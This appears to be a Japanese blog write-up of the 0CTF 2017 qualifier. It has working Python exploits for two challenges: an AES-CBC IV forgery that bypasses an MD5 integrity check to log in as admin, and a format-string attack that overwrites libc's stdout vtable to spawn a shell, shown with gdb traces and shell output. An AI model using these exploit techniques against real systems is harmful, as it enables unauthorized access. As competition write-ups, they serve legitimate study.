0CTF 2017 Qualsに参加。237ptで119位。
Welcome (Misc 12)
IRCのチャンネルトピックにflagがある。
#0ctf2017: Welcome to 0ctf 2017! https://ctf.0ops.net (flag{Welcome_to_0CTF_2017})
integrity (Crypto 75)
AES-128-CBCで暗号化されたデータを細工する問題。 最初の1ブロックがちょうどMD5(128 bit)になっているため、IVを変えることでMD5の値を自由にコントロールすることができる。 1ブロック余分に作って得た暗号文から最後のブロックを削り、IV経由でMD5を調整する。
from minipwn import *
import hashlib
BS = 16
pad = lambda s: s + (BS - len(s) % BS) * chr(BS - len(s) % BS)
expanded = 'admin\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0bX'
s = socket.create_connection(('202.120.7.217', 8221))
print recvuntil(s, '[l]ogin\n')
sendline(s, 'r')
sendline(s, expanded)
print recvuntil(s, 'secret:\n')
secret_hex = recvline(s).rstrip()
secret = secret_hex.decode('hex')
iv, enc_md5, enc_msg1, enc_msg2 = secret[:16], secret[16:32], secret[32:48], secret[48:]
h1 = hashlib.md5(expanded[:-1]).digest()
h2 = hashlib.md5(pad(expanded)).digest()
h_xor = xor(h1, h2)
secret2 = xor(iv, h_xor) + enc_md5 + enc_msg1
secret2_hex = secret2.encode('hex')
print recvuntil(s, '[l]ogin\n')
sendline(s, 'l')
sendline(s, secret2_hex)
interact(s)
$ python test.py
Welcome to 0CTF encryption service!
Please [r]egister or [l]ogin
Here is your secret:
Please [r]egister or [l]ogin
Welcome admin!
flag{Easy_br0ken_scheme_cann0t_keep_y0ur_integrity}
Please [r]egister or [l]ogin
EasiestPrintf (Pwnable 150)
任意のアドレスの値を読み出した後、Format string attackができる。 ただし、Full RELROなためGOT overwrite不可。
$ bash checksec.sh --file EasiestPrintf RELRO STACK CANARY NX PIE RPATH RUNPATH FILE Full RELRO Canary found NX enabled No PIE No RPATH No RUNPATH EasiestPrintf
bssセグメントにstdoutポインタがあるので、これが指すアドレスを読み出した後、Format string attackで+0x94の位置にあるvtableポインタを0x41414141に書き換えると、次のような状態でSEGVする。
$ gdb ./EasiestPrintf core Reading symbols from ./EasiestPrintf...(no debugging symbols found)...done. [New LWP 5607] Core was generated by `./EasiestPrintf'. Program terminated with signal SIGSEGV, Segmentation fault. #0 0xf76411bb in ?? () from /lib32/libc.so.6 (gdb) x/i $pc => 0xf76411bb: call DWORD PTR [ecx+0x1c] (gdb) i r ecx ecx 0x41414141 1094795585 (gdb) dps $esp ff9ea650 0xf77add60 <_IO_2_1_stdout_> ff9ea654 0xff9ea730 ' ' <repeats 200 times>... ff9ea658 0x142 ff9ea65c 0xb ff9ea660 0xff9ea7d0 ff9ea664 0xf76d1253 <write+35> ff9ea668 0x142 ff9ea66c 0xf76654c1 <_IO_file_write+97> ff9ea670 0x1 ff9ea674 0xff9ea7d0 ff9ea678 0xf7658580 <funlockfile> ff9ea67c 0xf77add60 <_IO_2_1_stdout_> ff9ea680 0x0 ff9ea684 0x0 ff9ea688 0xfbad8004 ff9ea68c 0xf77add60 <_IO_2_1_stdout_>
上の結果から、第一引数に0xf77add60が与えられた状態で、[ecx+0x1c]が呼ばれることがわかる。
vtableポインタが最後に一度しか書き換えられないことに注意しつつ、適当なアドレスにsystem関数のアドレスや文字列shを書き込むことでシェルを起動できる。
from minipwn import *
#s = connect_process(['./EasiestPrintf'])
s = socket.create_connection(('202.120.7.210', 12321))
addr_stdout = 0x0804a044
print recvuntil(s, ':\n')
sendline(s, str(addr_stdout))
data = recvline(s)
libc_stdout = int(data, 16)
print "[+] libc_stdout = %x" % libc_stdout
libc_stdout_vtable = libc_stdout + 0x94
#libc_system = libc_stdout - 0x001b0d60 + 0x0003a940
libc_system = libc_stdout - 0x001a9ac0 + 0x0003e3e0
str_sh = u32('sh\x00\x00')
x1 = libc_system
x1_hi, x1_lo = x1 >> 16, x1 & 0xFFFF
x2 = libc_stdout - 4 - 0x1c
x2_hi, x2_lo = x2 >> 16, x2 & 0xFFFF
print recvuntil(s, 'Good Bye\n')
# libc_stdout = 'sh\x00\x00'
# libc_stdout-4 = &system
# libc_stdout_vtable+0x1c = &(libc_stdout-4)
buf = p32(libc_stdout) + p32(libc_stdout-4) + p32(libc_stdout-2) + p32(libc_stdout_vtable)
buf += '%' + str(str_sh-16) + 'c%7$n'
buf += '%' + str(0x10000+x1_lo-str_sh) + 'c%8$hn'
buf += '%' + str(0x10000+x1_hi-x1_lo) + 'c%9$hn'
buf += '%' + str(0x10000+x2_lo-x1_hi) + 'c%10$hn'
sendline(s, buf)
interact(s)
$ python test.py
Which address you wanna read:
[+] libc_stdout = f7737ac0
Good Bye
(snip)
id
uid=1001(EasiestPrintf) gid=1001(EasiestPrintf) groups=1001(EasiestPrintf)
ls
bin
boot
dev
etc
home
initrd.img
lib
lib32
lib64
lost+found
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
vmlinuz
ls -R home
home:
EasiestPrintf
java
home/EasiestPrintf:
EasiestPrintf
flag
home/java:
cat /home/EasiestPrintf/flag
flag{Dr4m471c_pr1N7f_45_y0u_Kn0w}
所感
他に解きたかった問題は以下。
- simplesqlin (Web 33)
- oneTimePad (Crypto 114)
- Temmo’s Tiny Shop (Web 122)
- char (Pwnable 130)
- KoG (Web 146)